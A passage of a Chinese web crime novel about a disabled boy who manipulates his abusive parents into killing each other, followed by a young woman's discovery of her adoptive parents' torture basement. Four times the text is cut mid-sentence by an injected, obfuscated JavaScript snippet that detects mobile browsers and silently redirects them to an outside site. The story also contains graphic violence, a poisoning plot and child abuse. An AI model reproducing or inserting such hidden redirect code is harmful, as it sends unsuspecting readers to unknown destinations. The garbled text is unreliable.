“我知道你不想认我这个儿子,也知道她当初是用多么肮脏龌龊的手段逼你结婚。所以我并不是她派来的和事佬,更不会劝你回去见她。不过有一点你应该比我清楚,如果她一直把你当作‘取款机’,并且老是这样阴魂不散地缠着你的话,山夏姐姐迟早会不高兴。届时,最大的受害者可不是我和温雅。“ “你说什么?难道你已经见过山夏了?怎么可能?” “没错,在温雅和你纠缠不休的时候,山夏姐姐已经通过网络悄悄找到我了。比起惊讶,难道你不应该更好奇她和我说了什么吗?” “该死,要不是温雅说怕你被憋出病来惹麻烦,我早就把那台破电脑扔了。少来吊我胃口,你们到底说了什么?” “山夏姐姐是公司的千金大小姐,你则是她的心上人。她早就调查出你和温雅的点点滴滴,之所以没有告诉你,是因为还不想失去你。温雅不让我上学,但又怕我逃走,即便我已经身为废人,她也要用铁链把我锁在家里。我闲极无聊之下,自学了一些还算有点难度的知识。说来奇怪,这件事,山夏姐姐居然也奇迹般地查到了。那次见面之后,她问了我关于药物的一些问题,我记得问的最多的应该是毒药。” “你这孽障乱说什么!她为什么要问你毒药的事?如果她真想的话,完全可以自己找人……不对,她不行。难不成你说的是真的?她想做什么?你给我想好了再说!要是敢胡说八道的话,我就卸了你的胳膊!” “威胁我没用,毒药的用处恐怕得问你的情人了。还有,你有没有发现最近的保安尤其懒散?还记得温雅第一次来闹事的时候吗?她可是花了好大的功夫也没能闯进去,不得不大吵大闹说‘不让我见乔莽,我就赖着不走’这样的话,才能勉强见到你一面。为什么这两次完全没有闹事就进来了呢?难道是因为保安越来越玩忽职守了吗?” “你的意思是说,山夏是故意把你们放进来的。她为什么要这么做?这样做对她有什么好处?” “您这是明知故问,摆明了想试探我。如果一直拦着温雅不让她见你的话,她时不时就来闹一次,公司的秩序要如何保持?我想山夏姐姐应该是希望你在她忍无可忍之前,可以先处理好你自己的事,即便是寻求她的帮助也无所谓。如果你实在无能为力,恐怕她就只能让你去办理离职手续了。” “不!她要是开除我的话,还有哪个公司敢用我!我的好儿子,这些事是她跟你说的吗?如果可以,我甚至连杀了温雅都愿意,但是如果那样,我也得跟着完蛋。她是我女朋友,我们都要结婚了。她爱我,我也爱她,山夏不可能弃我于不顾。” “没有人要弃你于不顾。山夏姐姐那里弄到了一些可以让人延时死亡的药剂,你可以去找她问问。至于温雅那边,你大可不用担心,只要你愿意去,她一定会为你敞开大门。你不在的时候,她经常一边对着空气怒吼,一边把家里砸的乱七八糟。邻里之间都以为她是个疯子,不敢靠近她。如果她哪天消失无踪了,也根本就不会有人询问她去了哪里。” “但是你……” “我和你不会再有任何瓜葛。温雅有一个同父异母的姐姐叫温冬,不知道你有没有听说过。她的亲生儿子夭折,不到五十岁又死了丈夫,十分希望有人能给她养老送终。她一直以来对我十分喜爱,直到现在还会经常来看我。十岁那年,我自己跑出去玩,温雅打断了我的双腿,正巧温冬姨妈来了,她不顾温雅的极力阻拦,把已经痛到昏厥的我送到医院,并支付了全部的手术费用。之后她找到很好的律师团队,说温雅有精神疾病,不适合当我的监护人,她自己则愿意收养我。很可惜,最后失败了。法院的判决是,只要温雅还活着,她就有资格做我的监护人……说到这里,你大概已经明白我的意思了吧?山夏姐姐明天要到省外的公司总部去找她的父亲,到时候他们会做出什么决定可就不是我们能预料的了。今天是你最后的机会,在山夏姐姐离开公司之前去找她吧,她会告诉你该怎么做。” 傍晚妹妹坚持要回去住,我正好也要去便利店买沐浴露,所以就一起下楼。 我想买的沐浴露牌子只有在十五分钟脚程的便利店才有。反正是晚饭过后,我以散步的名义硬拉着妹妹陪我同去。 必经之路旁的草丛长到了及腰的高度。她走到草丛前面驻足,让我报警。我不清楚发生了什么,从小歆的脸上也看不出一点异样。 我往前走两步,发现草丛里有一个大型汽油桶。那里面被水泥灌满,全部都已经凝固。我定睛一看,从桶里伸出来并沾满了血迹的,赫然一只是人类的手。这些从妹妹的角度看得更是一清二楚。 来的警官是老妈的哥哥谭金洲舅舅。舅舅也挺喜欢妹妹的,告诉她了案件详情,还说前几天死者的同学也遇害了。我不认为废物死人有什么好看的,想先回去休息。妹妹随口说这是效仿“凌濑女高中生水泥埋尸案*”的模仿犯罪,两位死者都被开膛破肚,但没有达到凶手的预期,说不定还会有第三具尸体等等。我不了解这些案件,但是金洲舅舅似乎挺认可她的。 *** 8月16日(上)(温芙) 那天我和乔莽说完话,他就冲进了众多办公室的其中一间。温雅想问发生了什么,被我阻止了,理由是:“如果母亲跟过去的话,之前的努力就都白费了。”她当然不愿意用这点怀疑去换和心上人见面的机会。 当天下午乔莽过来了一趟。不出意外的话,他今天就要出手了。 温雅为了保持“慈母”形象,并没把我锁在书房里。 吃完午饭约摸一点钟左右,她躺在沙发上看电视。 我主动挑起话题,“已经一点了。” 她鄙夷不屑的瞅了我一眼,咬牙切齿地不知道在跟谁讲话。 “该死,他到底还来不来?” “父亲一直挂念着您,他一定会来的。” “挂念着我?我看是又被哪个小妖精给缠住腿了!” “父亲他是双脚灵活的人,母亲没有办法去控制他的一举一动,让他哪也不去。” 温雅一心都放在乔莽身上,自然察觉不出我说这句话的用意,只是习惯性又扇了我一个耳光。 “好好一个人生那么健全做什么?我看他就不该有那两条腿!” “听说父亲有个表哥是侏儒,几乎没有任何劳动力,不会有公司愿意要他去工作,甚至也没有人愿意和他交往。所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305932|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都对他避之唯恐不及,以至于最后他只能窝在家里,照顾他瞎眼的老母亲一生,真是可怜啊。” “我想起来了,你说他呀!”温雅笑的非常诡异。 我只知道乔莽有个表哥是侏儒,不过内情好像没有那么简单。无所谓了,只要不妨碍到我的行动,怎么样都可以。 “听说父亲在幼年还有一个名字,母亲您知道吗?” 以前温雅很讨厌我跟她说话,现在却没有表现出反感。 “名字……朱什么来着?朱……噢对,朱蓐……等等,侏儒?” 温雅从沙发上跳起来,冲进厨房去找什么东西了。 乔莽,我无比憎恨的父亲。 当年温雅从不良富二代手中买来迷药用在你身上,营造了不可言说的氛围,让你控制不住自己侵犯了她。她这么可恶,现在正是你报仇雪恨的时候。山夏那个女人聪明得很,她找来的毒药一定足以要人性命,你千万要一击毙命才好。 温雅,我无比厌恶的母亲。 当年乔莽明明已经和你结婚,可他竟敢擅自跑掉,让你悲痛欲绝。以你的狠毒,肯定可以让他痛不欲生,后悔遇见你这样的毒妇。你心狠手辣,毫无人性,连自己的亲生儿子都能下此毒手。我每喊一声“母亲”都感到无比的讽刺和恶心。 如此卑劣的你们怎么配为人父母呢?还是快点得到应有的报应吧! 有人在按门铃,是少女的姐姐。她戴着手套送来了可怕的礼物——一把锯子和一些装修工具。 “前几天我和妹妹来送礼,看到您家里有很多家具都坏了,有些家具还翘起了边角。要是不把它们锯掉,说不定哪天还会因此受伤难过呢。我专门为您去买了这些工具,希望您能一直开心。” 这样的解释哪里重要?大家都心知肚明的事情,还要假装优雅地走个过场,这难道就是所谓的仪式感吗? *** 8月16日(叶雨青) 从上午开始,我就一直在听楼下的对话。 小歆坐在阳台喝茶。我用的是外放,她应该也能听见。 实际上妹妹对我一直抱有憎恨,她最近频繁过来是我万万没有想到的。 我喜欢艺术,尽管大部分人不了解其中的精妙绝伦,但我还是凭借毅力坚持了下来。 杀死小动物,用它们鲜血画一幅《重伤的小女孩》;享受利刃划开血肉时猎物绝望的哀嚎;用鞭子抽到猎物皮开肉绽等等……这些都太惊艳了,是美轮美奂的艺术,反对我的都是些不懂得欣赏艺术的俗人。 好吧,我承认大部分艺术品的原型都是妹妹。不过为艺术献身乃是义不容辞的事情,不能归结于虐待的范畴。 听见扩音器传来的对话,我发现这很有可能是另一件艺术品——果然,发现艺术的眼光最是难得。 我贴心地送去了一份礼物,助她创作。 刚要上楼,那位温冬阿姨就来了。我觉得她们的对话没什么意思,小歆听闻,喝了一口茶说:“怪不得……” 怪不得什么? 小歆意味深长的笑,笑里不乏挑衅与看热闹的意味。妹妹继承了妈妈的优良基因,长得本来就很好看,微微一笑更是格外甜美。可惜她总是不爱笑,冷得像是在雪山上冻了几千年。 【附】: “阿雅,我那边不比你这里差,你到底为什么不愿意过来?” “我跟你过去?你分明就是想要温芙跟你过去吧!我已经打断了他的腿,这样的人不适合给你养老送终的。你想干什么以为我不知道吗?你还打算骗我到什么时候!想打他的主意,你做梦去吧!” “别这样,阿雅,我那边准备了好多有趣的东西,我们可以一起……不,你可以……” “你休想!” 就这几句话,也不知道重要在哪里。算了,既然那个丫头这么说,肯定有她的道理。 5. 不巧婚礼3 *** 8月16日(下)(温芙) 下午三点钟左右,乔莽已然抵达战场。 温雅撒着娇嗔怪道:“哎呀,莽莽你终于来了,我还以为你不来了呢。” “怎么会,芙儿没和你说吗?我今天无论遇到什么困难都一定会来的。真是抱歉啊,你那天给我的那瓶果汁好像落在公司了,我回家才发现。我保证绝对不是故意的。为了表示我的歉意,我专门去买了你以前特别喜欢草莓汁。我怕鲜榨的带到这里会变味,所以给你买了易拉罐装的,你应该不会生气吧?” 看来他是怕药物会促进鲜榨果汁变质才采用罐装的。用针管将药物注射进去,然后随便用什么把针眼黏上就行了,只凭温雅的眼神不可能会注意到。 “当然不会。莽莽好久都没给我买果汁了,真的是好怀念以前。虽然我已经不喜欢喝草莓汁了,但是莽莽买的,我还是不能浪费。” 乔莽的话语可谓是漏洞百出,不过此二人各怀鬼胎,无所谓谁比谁的嘴脸更丑陋。 “莽莽,你还记得我们曾经是多么的美好幸福吗?” 温雅猝不及防地问出这句话,乔莽没有立刻回答,而是确定她把饮料喝下之后才慢慢开口。 “怎么可能记得?” “你说什么?” “我们从来就没有过什么美好幸福。我只记得你当初从什么富二代高中生‘朋友’那里弄来会让我昏迷的药物,用卑鄙的手段让我喝下。然后我们在同一张床上醒来,床单上有血迹。你撕心裂肺的痛哭,说我毁了你的名誉,我竟然也以为是自己犯了混。你说只要我愿意娶你,你就不追究此事,我竟然愚蠢的答应了。直到最后我才明白,这一切都是你的阴谋!” “……莽莽。” “离婚的时候,你像鬼那样阴魂不散地缠着我,我不得已逃到表哥家里,没想到你竟然以为是他们从中挑拨离间才让我有了离婚的念头。都是因为你到处去说,我那个远房的表哥才会被公司辞退。你甚至还在除夕当天跑去刺瞎他母亲的双眼,利用精神诊断证明逃过了法律的制裁……我本来是社会精英,却被你逼成了现在这个样子!” 温雅的脸色变得可怕起来。 “莽莽,你不该说这些。” “那我应该说什么?!” 金属重击到人体脆弱的后颈上。铁链响动,它的目标从一只长期无法活动而纤瘦的手腕转变成了成年男性的手腕,它的分身从另外三个方向将其死死咬住,使其无法动弹。待处理完这些,温雅把我连带着轮椅一起掀翻在门外。 “你和我是同一所初中的学生。你是人人仰慕的校草,成绩优异、相貌堂堂。而我呢,只是一个内向的不良少女,也是你的疯狂仰慕者之一。不,我是最疯狂的一个!我知道这样下去一定无法得到你,于是我就用了一小点手段。好在最后目的达到了,过程就半点都不重要了。 “本来一切如此美好,可是你非要和我离婚,这让我很不高兴。是你打破了我的幸福生活!你为什么要这么对我!你为什么就不肯按照我写的剧本去发展呢?我那么爱你,你却要离我而去,你这简直就是不可饶恕!莽莽,你现在落到了我的手里,我绝不允许你再次离开。我曾经打断了温芙的双腿,他现在还活着。你是他的亲生父亲,肯定也不会有事的,对吧? “对不起了,我给过你机会,但你没有珍惜。还记得你的原名吗?就是那个被无数人耻笑的名字呀!如今,你就变成那个样子吧!放宽心,即使你没有手脚,我也依然爱你……” 惨叫声透过墙壁隐隐约约传入人耳。尽管口腔被布条塞住,无法真正发声尖叫,但是在锋利的金属和肉|体碰撞的过程中,还是能明显感受到极致的疼痛与绝望。 高档小区墙壁的隔音效果很好,我无法准确判断里面发展到什么情况。 远处传来代表正义的警笛声,这使我不由得紧张起来。 突然,一只冰凉的手搭在我的肩膀上,半开玩笑的话语从身后响起:“将军。” 我惊讶地看着她,仔细确认她的神情……莫非她已经认出我了? “你没有地方住了吗?不如来我家应聘保姆吧,包吃包住还有工资。如果你还不想找工作的话也没有关系,反正我家里房间很多,我不介意做回慈善。” 又一场博弈的开始——我赌她是否已经了出我只是假装不知,她则观察我的反应以及利用价值。 事后我们去了警局接受讯问,她的姐姐叶雨青告诉我她的名字叫叶无歆。不只是名字而已,她是真的冷血无情,没有一丝人情味。 我亲眼见过叶雨青送来“凶器”,当然不会相信她的这番鬼话。她还说小歆对感兴趣的人都会说“来应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305933|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聘保姆,包吃包住”,我并不是唯一,叶无歆现在的小助手就是这样被感动来的。 小歆没去警察局,而是跑到某位校长家里做实验,奇怪的是,那位姓谭的警官也没有勉强她。 她临走之际用警告的口吻对叶雨青说:“你的艺术细胞最好不要泛滥。” 叶雨青看上去很高兴地笑着回:“不是任何人都有资格成为我的艺术品,我从始至终最钟爱的艺术灵感就只有一个……我会安排司机送他回去的。” 我从她身上看到温雅的影子,下意识警觉起来。这个女人看上去人畜无害,只怕是比温雅还要危险的角色。 我们被轮流审讯的间隙,有两个警员在旁边悄悄感叹:“你没去不知道,那个场景简直是吓死人了,我未来半年的噩梦算是提前预订了。好好一个大活人躺在床上,手还戴着铁链就被从肩膀那里砍下来了,腿也一样。还有个拿着锯子满脸血的女人倒在旁边。” “都死了?” “就那个女的死了,是中毒死的,好像是畏罪自杀。我们到的时候,那男的还剩一口气,被送去抢救了。” “最近都发生多少起命案了?再这样下去,怕是得引起恐慌。” ………… 温冬这时走出审讯室,径直拉住我的手说:“没事了,已经没事了芙儿。” 我没有理睬,她又继续说:“芙儿,你现在只剩我一个亲人了,跟我回去吧,我一定会好好待你的。” “不。” “为什么不去?你好不容易脱离了噩梦,和我一起幸福的活着不好吗?” “如果跟你回去,会进入下一轮噩梦,不是吗?” “芙儿,你在说什么呀?”温冬装作听不懂的样子。 “那次你把我送进医院,我很感谢你。出院时,我手臂上多了好几处掐痕。虽然你告诉我是温雅做的,但是我知道她从来不会用掐这种手段。不要以为当时我的意识模糊,就当真感受不到那个疼痛来自你的双手。” “不是这样的,你听我说……” “姨妈,你不知道吗?乔莽不会直接给她钱,只会买好需要的物品给她。” 看来大家都明白了。 ………… 从那之后,不知是叶无歆故意保护还是温冬真的安分下来,总之,她从我的视线范围彻底消失无踪了。 6. 不巧婚礼4 4 我和阿舒的婚礼已经定下了,就在十天之后。虽然连续杀人案的凶手还没有被抓获,但是我们相信爱情可以抵挡一切阴霾。 自以为是的情侣,刻不容缓地投入自己的闹剧,还心满意足地认为上演了罗曼蒂克的爱情。 谢舒刚念完大学,年纪和我差不多。有趣的是,他比我低了两级,这是由于我小学期间跳过级的缘故。 因为我们是同一个城市的老乡,说话比较投机,又恰巧参加了相同的社团,所以我们经常有机会见面。我和阿舒在大学期间相爱,打算等他一毕业就举办婚礼。 阿舒上学的时候,我就在那个城市养父母名下的食品公司工作。半年前,我申请调回总部,方便和阿舒一起回来准备结婚事宜。我虽说是养女,但是收养我的夫妻家境很不错,阿舒的亲生父亲又是上市公司的董事长,我们也算是门当户对。 大学期间,我和家里几乎没有联系,如今回来才知道,原来养父母在三年前又收养了一个小女孩,不过这个小女孩没过多久就失踪了。 那个小女孩失踪之时年仅八岁,和我相差了接近一轮。我一直搞不懂他们为什么还要收养一个女儿,事后我得到的答案是:“我们那天刚好路过当年收养你的福利院,闲着没事进去瞧瞧,觉得那丫头很合眼缘就养了呗……对呀,没别的原因,这种事情需要什么理由?就是这么简单啊。” 我的养父母都是富家的纨绔子弟,唯一的优点就是有钱,领养孩子全是出于闲极无聊之下的消遣。他们从来没有管过我,一到家就把我丢给保姆管教,估计妹妹也是一样。 偶然的一次出游,妹妹无意间跟养父母走散,从那之后就再无音讯。 我对这个从未见过面的妹妹本来没有放在心上,直到我坐在卧室里整理物品,发现妹妹的求救信为止。 纸张是从废弃草稿本上撕下来的,可以看见凹凸不平的纤维毛边。内容如下: 【姐姐救命!我快死了,收养我的叔叔阿姨要杀了我! 听说姐姐也被他们收养了,你在哪里?你现在还好吗? 我就只剩姐姐一个亲人了,姐姐一定要救我,我会尽量活着等你回来。 文阿姨不给我吃饭,苏叔叔拿皮带抽我。 我有名字,但是他们老叫我苏力。 苏力是谁?讨厌她为什么要打我?】 我不理解纸条上面的意思。即便爸妈对我不冷不热,也从来没有打骂过我,吃穿更是相当不错。很难把他们和求救信里的夫妻联系起来。还有写纸条的人说“姐姐是唯一的亲人”这句话,和我们家的状况更是风马牛不相及。我是因为小时候父母乘坐的轮船失事,打捞无果才进的福利院,我明确记得父母没有除我之外的孩子。 我把纸条折叠好收在抽屉里,认为是同事的恶作剧被我不小心夹带回家,没有太过在意,想着什么时候有机会拿出来问问。 言言听说我要结婚,拉着小歆跑过来说要看看新娘子。她们两人是同班同学,由于两家父母工作的关系,她们从小就玩在一起。 我结识她们的地点是有钱人家孩子们玩乐的小公园。那段时间,我被高中理科考试折磨的昏天黑地,忙里偷闲出门散步喘口气,当时就看到言言和别的小女孩摘下花别在头发上,小歆坐在旁边敲打迷你型的笔记本电脑键盘。我本以为是个爱玩游戏的小孩,可当我凑近笔记本荧幕的一瞬间,却证明是我以小人之心度君子之腹了。 “哇,你在打什么?” 她看起来一点都不想理我,皱紧小小的眉头,很烦躁地连续敲击键盘。 我从初中就开始学软件工程,可半点也看不懂她敲击的代码,只隐约看出她想攻破什么系统围墙。 “厉害呀。”我都不会这些。 “拜托暂时不要跟我讲话。” 那年我高中,小歆应该还在念小学。 按下回车键,满屏的代码红成鲜血的颜色,笔记本被强制关机。 小歆合上笔记本扔到一边,郁闷地仰在公园椅靠背上。不知道从哪里冒出来另一个差不多大的女孩儿,对她说:“还是不行吗?你看多了电子产品会头疼,我回去再试试。” 接下来就是小歆和那个女孩光张嘴不出声的对话。我到现在都不知道她们在哪里学的唇语。那个女孩拿上电脑,和言言打完招呼就跟小歆一起走了。那天小孩子们拉着我玩,我认识了言言一帮孩子。隔天,言言又给我引荐了小歆和白月。 这几年,小歆经常会无厘头地对我们讲唇语,反应过来又出声翻译。我和言言常常笑她故作神秘,同时又饶有兴致地悄悄学了几句。 我给姑娘们倒好茶水,言言就迫不及待地凑上来。 “宜姐姐怎么越长越年轻呀?恐怕等我们都结婚的时候,宜姐姐还是十八岁呢!” “就属你嘴甜。这几年我在省外啊,有一半的话费都用在你这丫头身上了。” “真的吗?我也有一半话费用在姐姐身上了。” ………… 聊天的间隙,我给小歆和言言看了那张纸条。 “我身边居然有这么无聊的人会给我写恶作剧纸条。你们这么聪明,帮我猜猜是谁呗!” 言言拿在手里翻来翻去。 “文阿姨、苏叔叔、苏力,这都是些什么啊?拿这个当恶作剧有什么意思?” 我摇摇头,“我就是不知道才请你们帮忙破解呀。” “姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305934|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐你看,这团黑黑小印子的是什么?”言言把手里的纸放到桌子上,夸张的看着我,“该不会是血吧?咦,好吓人呐!” 我没相信言言的想象,却也有些不自在。 小歆以前和我聊天的范围很广,我们两人之间也很投机。我感觉她虽然对任何东西都提不起兴趣,但似乎没有什么问题能把她难住。她此刻就像是在讨论诸葛亮和刘伯温一样,算不上热爱,却可以和热爱的人畅谈。 “姐姐身边有小孩吗?” “……应该没有吧。” 小歆没有继续,剥开桌子上的水果糖放进嘴里,不出一言地盯着我。她的眼睛宛若漆黑的枪口,让人有种不寒而栗之感。 “额……也算是有啦。我养父母新收养了一个女孩儿,算是我妹妹。我们还没见过,所以……” 她终于转移视线,让我松了一口气。 “七八岁的样子。” “没错,她失踪那年刚好八岁,这个信是我最近无意间翻出来的,嗯……姑且称呼它为‘信’好了。” 小歆拿过纸条,目光亦有深意地盯住某处,念出两个字:“苏丽”。 我认为“苏力”是爸妈给妹妹起的名字,还未曾向他们落实过这件事。 “你再找找,看看还有没有其他的求救信。” 冷静的话语有暴风雨前夜的趋势,小歆去走廊上打了个电话,我和言言在房间里翻找起来。果不其然,我们在枕头套里发现了第二张纸条: 【文:“你真的有五岁半吗?看上去跟四岁的孩子差不多大嘛。” 苏:“这样才好。” 文:“还要等多久?” 苏:“现在不行,太明显了。要不你还是放弃吧!” 文:“开什么玩笑?” 什么啊?大人都喜欢说这种奇怪的话吗?】 看到这里,我更加不明白了。养父母的名字就叫文姒和苏房,所以文阿姨和苏叔叔应该就是他们没错。可是苏力妹妹不是失踪了吗?为什么会说养父母要杀了她?难道她是因为这个原因才离家出走的吗? 疑问太多,一时间在脑子里乱成了海底世界。 言言提出建议:“天快黑了,要不然我们先回去吧。那个连环杀人魔还没有抓到,走夜路回家怪吓人的。” 我也觉得让姑娘们大晚上走夜路回家不太好,所以就让她们先回去,我自己再找找,如果还有的话再拿给她们看。 养父母还没回来,我独自在家里翻来翻去。一个小时过去,我在地毯下面、鞋柜与墙壁的缝隙里、自动感应垃圾桶的隔板里各发现了一张妹妹写的求救信。 我不敢直面妹妹经历的过往,更不打算独自查看里面的内容。 7. 不巧婚礼4 *** 第二天,我拿着那五张纸条来到小歆的住处。 门一打开,我看到的是一位坐在轮椅上的奇怪少年。这个少年看起来很文静,但是一举一动之间都有一种在运筹帷幄的感觉,似乎一不注意就会被他装进某个套子里,从此再也无法挣脱。 “不好意思,我好像走错……” “你没走错,她就在里面等着你。” 年轻小助手白月推着少年往里走,正巧遇到小歆从楼梯上下来。 “这位是?” 我不记得小歆有兄弟,又想到前两天犯罪心理学专家在电视上提到的残疾少年小A,不自觉的有种莫名的恐惧感。 “温芙,我朋友。”小歆把刚洗完的长发束成马尾,用特制的盘发夹盘上,“坐吧,不用怕,他没有那位专家说的那么坏。” 我似乎闻到了一些染发剂的刺鼻味道,可小歆的头发还是黑色的,莫非刚刚还有谁来她这染了头发吗? “……好。” 我惊呆了。虽然知道小歆不走寻常路,但是没想到还能上演这一出,着实是出人意料。 由于还没有忘记自己前来的目的,我拿出昨天看过的两张和后面找到的三张求救信,把它们排放在茶几上。 “从左往右分别是在抽屉、枕套、地毯下面、鞋柜和墙壁缝隙、垃圾桶隔板里找到的,你看看能发现什么。” “你看过了吗?” “还没有。” 后面发现的三张纸条多少都沾有发黑的血迹,越往后面沾的血迹也就越多。 少年说也想看看,让白月推他过来。他同样也盯着某处,念出了两个字:“苏丽”。 “我妹妹的名字有什么特别的吗?为什么你们两个人都要念一遍?” 少年笑着看向小歆,小歆则对此毫不理会。 茶几的作用更多是装饰,高矮并不适合。我担心他们看着不方便,拿起第三张纸条念给他们听。 【文阿姨把我从黑黑的地方拖出来,嘴磕到楼梯上好痛。我想用手护住脸,但是我已经没有力气了。 现在全身都好痛,到处都在流血,好不容易停了又被打开。 我应该是活不了多久了。姐姐,我还等得到你吗?】 我刚准备拿起第四张纸条,温芙就问小歆:“这件事情我可以参与吗?” 小歆用漆黑到深不见底的眼睛盯着他。叶雨青说这是她的特殊技能,可以看出对方心里在想什么。 温芙也不怕,坦诚说明原因:“因为她和我很像。” “随你。”她只回应这一声,然后转头对我说:“继续吧。” 对于他们的话,我基本上是一头雾水。不过他们之间的事情与我无关,还是随他们去好了。 第四张纸条的内容如下: 【他们买了好吃的肉汤,应该不是给我的。太香了,我好想吃。苏叔叔偷吃,和文阿姨大吵了一架。 我站不稳了,文阿姨很生气。好久没有***了,我根本控制不住。没有办法嘛,我已经尽力了。 文阿姨在找什么?她要补衣服吗?】 “等等,好久没有什么?文阿姨会补衣服?还有第三张的‘好不容易停了又被打开’是什么?”发声的是白月。 她应该比小歆还要大上一岁,和我同样是孤儿。当时在公园里和小歆说话的就是她。白月没上过学,但本事不小,在计算机方面很有建树,只因一句:“无处可去的话,不如来我家应聘保姆吧,包吃包住。”来投奔小歆,乐呵呵地叫她老大。 小歆轻轻说了声:“白月,等她念完。” 下面是第五张纸条: 【姐姐,如果你看到的话,千万不要留在这里,否则会像我一样被杀掉的。 快逃!立刻! 我知道我快死了,姐姐一定要活下去!】 最后这张纸条几乎满是血迹,识别内容都实属勉强。 白月杵在沙发靠背上,“这下好了,疑问多的数不过来。首先,叔叔阿姨表示苏力妹妹是出去玩的时候不小心走丢的,但是苏力妹妹自己写了求救信举报他们;其次,她和宜姐姐从来没有见过面,却非常相信宜姐姐,希望姐姐会去救她;最后,就是刚才第四张纸条时我提出的问题。” 确实很奇怪,以上也是我百思不得其解的问题。 小歆倒掉已经被冲泡寡淡的旧茶叶,加了新的进去。白月往里灌上热水,给我们一人一杯。绿茶的清香弥漫在室内。小歆换了个位置,以便品茶。 温芙缓缓开口:“没有这么难理解。” “什么意思?”我和白月几乎是异口同声。 “你妹妹的名字叫‘苏丽’。不是力气的“力”,而是美丽的‘丽’。” “为什么?” “你们还记得那两个连环杀人魔吗?” “记得。” “他们犯案有个特点……” “模仿以前的案件?”白月抢答。 “没错,苏丽正是一起虐童杀童案件的主人公。如果犯人是想模仿‘苏丽案’的话,那倒是不奇怪。” “你的意思是说,我的养父母就是连环杀人魔?” “对。” 我的原意只是想开个玩笑,谁料他给了肯定的答复。 说真的,我不是没有怀疑过这一点,以他们的性格完全可以做的出。还记得姑姑是怎样评价他们的——这两位年轻的时候可都是一等一的大恶魔,他们干的那些事呀……哎,不说了,实在是无法开口。 “证据呢?”出于对他们的最后一点信任,我做出最后的挣扎。 “暂时没有。” 我长舒一口气,如果还没有证据的话,就说明有可能不是他们。至少我心里是这样希望的。 “或许有。”沉迷品茶的小歆突然出声,打破了我的幻想,“伯父伯母不在,我们一起去你家的地下室看看吧,或许能有什么发现也说不定。” 在场所有人都表示赞同。 小歆的司机载着我们回到这个遍布疑云的地方。小歆坐在前排,我和白月、温芙三人坐在后排。轮椅是折叠式的,放在后备箱里。 白月先按耐不住沉默,“那些问题都还没解释呢!” 小歆像是没听见,温芙代替她做出回答:“封闭的别墅里,小苏丽没有办法写信出去给认识的人,所以就赌一把,写信给的这位姐姐。写第三张纸条时,小苏丽的身体状态已然很糟糕。‘好不容易停了又被打开’应该是指伤口好不容易愈合又被抽打导致伤口开裂。” “那后来的‘好久没有’、‘控制不住’又是什么?” “结合‘苏丽案’来看的话,是小苏丽一直被限制上厕所,所以实在控制不住导致失禁。小孩子不会写‘厕所’两个字,所以空着。” 这样一来,倒是说的通了。四面采光的别墅里,“黑黑的地方”只有可能是地下室,“从黑黑的地方拖出来”,也就是说妹妹至少有一段时间被囚禁在地下室。怪不得他们要到我家地下室去找线索。 下车后,避着温芙,我悄悄拉了小歆说话。 “你干嘛把他弄到家里?他是杀人犯欸,多吓人呐。” “别怕嘛,他怨气最重的时候是在日记里。” *** 我忐忑不安地打开地下室的铁门,浓重的血腥味和皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305935|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉腐烂的臭味直冲天灵盖。白月直言受不了,跑到楼上去了。我强忍恶心,摸黑打开灯,一幅可怕的场景赫然暴露在眼前——一片猩红,各种刀子刑具分散各处,被挖出来的人体部件已经腐烂发臭。 从出血量来看,恐怕妹妹已经凶多吉少了。 “看来这里就是近来多起案件的案发现场。”小歆走进地下室,观察着四周的血迹。 我后背阵阵发凉,呼吸都困难起来。 小歆的判断一定不会出错,可我就是忍不住想确认一遍。 “那些受害者都是在这里被杀害,然后又被拖出去丢弃的?” 小歆点头。 “这里肯定是杀过人,可你凭什么说人都是在这里被杀害的?” “那边的水管不停地在漏水,整个地下室的环境又很潮湿,有些血液到现在为止都还没有凝固,而有些已经干透了。” “如果是一个人被囚禁在这里间接虐待也可以做到吧?” 